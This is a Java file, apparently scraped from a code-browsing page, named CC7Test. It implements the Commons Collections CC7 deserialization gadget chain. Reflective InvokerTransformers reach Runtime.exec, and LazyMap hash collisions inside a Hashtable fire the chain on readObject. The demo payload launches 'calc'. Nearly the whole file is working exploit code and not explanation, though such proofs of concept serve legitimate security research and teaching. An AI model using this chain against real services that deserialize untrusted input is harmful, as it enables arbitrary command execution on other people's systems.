(String[] args)
| 18 | public class CC7Test { |
| 19 | |
| 20 | public static void main(String[] args) throws Exception { |
| 21 | //构造核心利用代码 |
| 22 | final Transformer transformerChain = new ChainedTransformer(new Transformer[0]); |
| 23 | final Transformer[] transformers = new Transformer[]{ |
| 24 | new ConstantTransformer(Runtime.class), |
| 25 | new InvokerTransformer("getMethod", |
| 26 | new Class[]{String.class, Class[].class}, |
| 27 | new Object[]{"getRuntime", new Class[0]}), |
| 28 | new InvokerTransformer("invoke", |
| 29 | new Class[]{Object.class, Object[].class}, |
| 30 | new Object[]{null, new Object[0]}), |
| 31 | new InvokerTransformer("exec", |
| 32 | new Class[]{String.class}, |
| 33 | new String[]{"calc"}), |
| 34 | new ConstantTransformer(1)}; |
| 35 | |
| 36 | //使用Hashtable来构造利用链调用LazyMap |
| 37 | Map hashMap1 = new HashMap(); |
| 38 | Map hashMap2 = new HashMap(); |
| 39 | Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain); |
| 40 | lazyMap1.put("yy", 1); |
| 41 | Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain); |
| 42 | lazyMap2.put("zZ", 1); |
| 43 | Hashtable hashtable = new Hashtable(); |
| 44 | hashtable.put(lazyMap1, 1); |
| 45 | hashtable.put(lazyMap2, 1); |
| 46 | lazyMap2.remove("yy"); |
| 47 | //输出两个元素的hash值 |
| 48 | System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode()); |
| 49 | System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode()); |
| 50 | |
| 51 | |
| 52 | //iTransformers = transformers(反射) |
| 53 | Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); |
| 54 | iTransformers.setAccessible(true); |
| 55 | iTransformers.set(transformerChain, transformers); |
| 56 | |
| 57 | //序列化 --> 反序列化(hashtable) |
| 58 | ByteArrayOutputStream barr = new ByteArrayOutputStream(); |
| 59 | ObjectOutputStream oos = new ObjectOutputStream(barr); |
| 60 | oos.writeObject(hashtable); |
| 61 | oos.close(); |
| 62 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); |
| 63 | ois.readObject(); |
| 64 | } |
| 65 | } |
nothing calls this directly
no outgoing calls
no test coverage detected